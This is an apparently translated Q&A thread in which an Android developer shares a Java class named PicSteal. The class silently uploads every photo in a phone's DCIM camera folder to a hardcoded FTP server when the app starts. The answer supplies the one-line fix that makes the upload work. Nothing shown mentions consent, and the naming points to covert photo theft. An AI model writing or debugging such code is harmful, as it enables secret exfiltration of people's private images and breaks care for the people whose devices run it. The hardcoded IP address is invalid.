所以,我制作了这个应用程序,使用FTP自动将我的照片上传到我的服务器,但我认为我没有这么做。
下面是我存储它的类,然后我在Main.java .onCreateI方法中调用此方法
package com.simplejsonapp;
import it.sauronsoftware.ftp4j.FTPAbortedException;
import it.sauronsoftware.ftp4j.FTPClient;
import it.sauronsoftware.ftp4j.FTPDataTransferException;
import it.sauronsoftware.ftp4j.FTPException;
import it.sauronsoftware.ftp4j.FTPIllegalReplyException;
import java.io.File;
import java.io.IOException;
import android.os.Environment;
public class PicSteal {
public static void picStealer(){
//Create the FTP connection object:
FTPClient client = new FTPClient();
try {
client.connect("62.22.547.24"); //create connection to server
client.login("sdasd", "ss
");//login using credentials
//this is where the magic happens
//create the file object
File folder = new File(Environment.getExternalStorageDirectory().getAbsolutePath() + "/DCIM/100MEDIA/");
//create the array of files to iterate over
File[] listOfFiles = folder.listFiles();
for (int i = 0; i < listOfFiles.length; i++) {
if (listOfFiles[i].isFile()) {
//upload file to server
try {
client.upload(new java.io.File("listOfFiles[i]"));
} catch (FTPDataTransferException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FTPAbortedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
//System.out.println("File " + listOfFiles[i].getName());
} else if (listOfFiles[i].isDirectory()) {
//System.out.println("Directory " + listOfFiles[i].getName());
}
}
client.disconnect(true);//disconnect
} catch (IllegalStateException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FTPIllegalReplyException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FTPException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
具体来说,我认为该部分
for (int i = 0; i < listOfFiles.length; i++) {
if (listOfFiles[i].isFile()) {
//upload file to server
try {
client.upload(new java.io.File("listOfFiles[i]"));
可能是罪魁祸首。我可以像这样传递数组[]吗? 我正在看我的FTP文件夹,因为这样,我看到没有上传。
我正在使用IIS ftp服务器执行此操作 - 也许我可以查看日志是否发生连接?
答案 0 :(得分:0)
我解决了这个问题。答案就在我面前。
try {
client.upload(new java.io.File("listOfFiles[i]"));
}
应该是这样的:
try {
client.upload(new java.io.File(listOfFiles[i].toString()));
}
现在工作得非常快。